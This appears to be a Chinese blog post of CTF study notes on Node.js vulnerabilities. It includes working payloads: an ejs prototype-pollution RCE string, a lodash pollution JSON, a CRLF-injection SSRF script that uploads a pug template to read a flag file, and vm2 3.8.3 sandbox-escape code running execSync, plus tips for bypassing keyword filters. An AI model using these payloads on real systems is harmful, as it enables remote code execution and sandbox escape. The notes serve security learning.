Node.js 相关安全问题

通用

拿到package.json首先npm audit看看依赖库有没有漏洞

原型链污染

漏洞特征

深入理解 JavaScript Prototype 污染攻击
以下内容出自p神的文章

我们思考一下,哪些情况下我们可以设置__proto__的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
    以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

express框架如果use(bodyParser.json())或者use(express.json()),支持通过content-type接收JSON输入,我们改为application/json直接输入json数据。

ejs

Express+lodash+ejs: 从原型链污染到RCE
ejsrender渲染中有大量代码拼接

if (!this.source) {
  this.generateSource();
  prepended += '  var __output = [], __append = __output.push.bind(__output);' + '\n';
  if (opts.outputFunctionName) {
    prepended += '  var ' + opts.outputFunctionName + ' = __append;' + '\n';
  }
  if (opts._with !== false) {
    prepended +=  '  with (' + opts.localsName + ' || {}) {' + '\n';
    appended += '  }' + '\n';
  }
  appended += '  return __output.join("");' + '\n';
  this.source = prepended + this.source + appended;
}

如果能覆盖opts.outputFunctionName,这样我们构造的payload就会被拼接进js语句中,并在ejs渲染时进行RCE
a; return global.process.mainModule.constructor._load('child_process').execSync('whoami'); //

同理,覆盖escapeFn也可以

if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
  if (opts.compileDebug) {
    src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
  }
}

lodash

CVE-2019-10744
lodash.defaultsDeep(obj,JSON.parse(objstr));
只需要有objstr

{"content":{"prototype":{"constructor":{"a":"b"}}}}

在合并时便会在Object上附加a=b这样一个属性

JQuery

$.extend(deep,clone,copy)会执行一个merge操作,如果copy中有名为__proto__的属性,则会向上影响原型

JavaScript特性

JavaScript大小写特性

Node.js 常见漏洞学习与总结

  • 字符ıſ 经过toUpperCase处理后结果为 IS
  • 字符经过toLowerCase处理后结果为k(这个K不是K)

js弱类型

  • ==比较
type {} [] 0 1 "" true false undefined
{} true false false false false false false false
[] false true true false true false true false
0 false true true false true false true false
1 false false false true false true false false
"" false true true false true false true false
true false false false true false true false false
false false true true false true false true false
undefined false false false false false false false true
  • +
    • 如果两个操作数都是字符串,则将第二个操作数与第一个操作数拼接起来
    • 如果只有一个操作数是字符串,则将另一个操作数转换为字符串,然后再将两个字符串拼接
    • 如果有一个操作数是对象、数值或布尔值,则调用它们的toString()方法取得相应的字符串
    • 对于undefinednull,则分别调用String()函数并取得字符串"undefined""null"

乱七八糟

HackTM中一道Node.js题分析(Draw with us)

js中的对象只能使用String类型作为键类型,什么别的类型传进去就要做一次toString()

function checkRights(arr) {
  let blacklist = ["p", "n", "port"];
  for (let i = 0; i < arr.length; i++) {
    const element = arr[i];
    if (blacklist.includes(element)) {
      return false;
    }
  }
  return true;
}

sort()方法用原地算法对数组的元素进行排序,并返回数组。默认排序顺序是在将元素转换为字符串,然后比较它们的UTF-16代码单元值序列时构建的

const array1 = [1, 30, 4, 21, 100000];
array1.sort();
console.log(array1);
// expected output: Array [1, 100000, 21, 30, 4]

多字节编码截断

通过拆分攻击实现的SSRF攻击

虽然用户发出的http请求通常将请求路径指定为字符串,但Node.js最终必须将请求作为原始字节输出。JavaScript支持unicode字符串,因此将它们转换为字节意味着选择并应用适当的unicode编码。对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码,不能表示高编号的unicode字符。相反,这些字符被截断为其JavaScript表示的最低字节

> Buffer.from('http://example.com/\u010D\u010A/test', 'latin1').toString()
'http://example.com/\r\n/test'

例题:[GYCTF2020]Node Game
利用Nodejs 10以下http模块存在的编码问题和crlf注入达到ssrf

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close

POST /file_upload HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Content-Length: 292
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoirYAr4M13lFjhnC
Connection: close

------WebKitFormBoundaryoirYAr4M13lFjhnC
Content-Disposition: form-data; name="file"; filename="shell.pug"
Content-Type: ../template

doctype html
html
    head
        title flag
    body
        include ../../../../../../../../flag.txt
------WebKitFormBoundaryoirYAr4M13lFjhnC--



GET / HTTP/1.1
Host: 865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://865e8c79-fd6c-440c-b832-cebc78bb56d7.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

vm沙箱逃逸

Buffer leak

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

vm2v3.8.3

Breakout in v3.8.3 #225

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	TypeError.prototype.get_process = f=>f.constructor("return process")();
	try{
		Object.preventExtensions(Buffer.from("")).a = 1;
	}catch(e){
		return e.get_process(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

或者

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
	try{
		Buffer.from(new Proxy({}, {
			getOwnPropertyDescriptor(){
				throw f=>f.constructor("return process")();
			}
		}));
	}catch(e){
		return e(()=>{}).mainModule.require("child_process").execSync("whoami").toString();
	}
}+')()';
try{
	console.log(new VM().run(untrusted));
}catch(x){
	console.log(x);
}

bypass

  • 过滤关键词,可以使用`,例如`${`${`prototyp`}e`}`
  • 对象的属性可以用object['attr'],也可以object.attr
  • String.fromCharCode()可以将数字和字母转换

参考链接

Node.js 常见漏洞学习与总结
i春秋2020新春战“疫”网络安全公益赛GYCTF 两个 NodeJS 题 WriteUp
Javascript 原型链污染 分析
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/hardjs

posted @ 2020-04-08 14:25  MustaphaMond  阅读(1431)  评论(0编辑  收藏  举报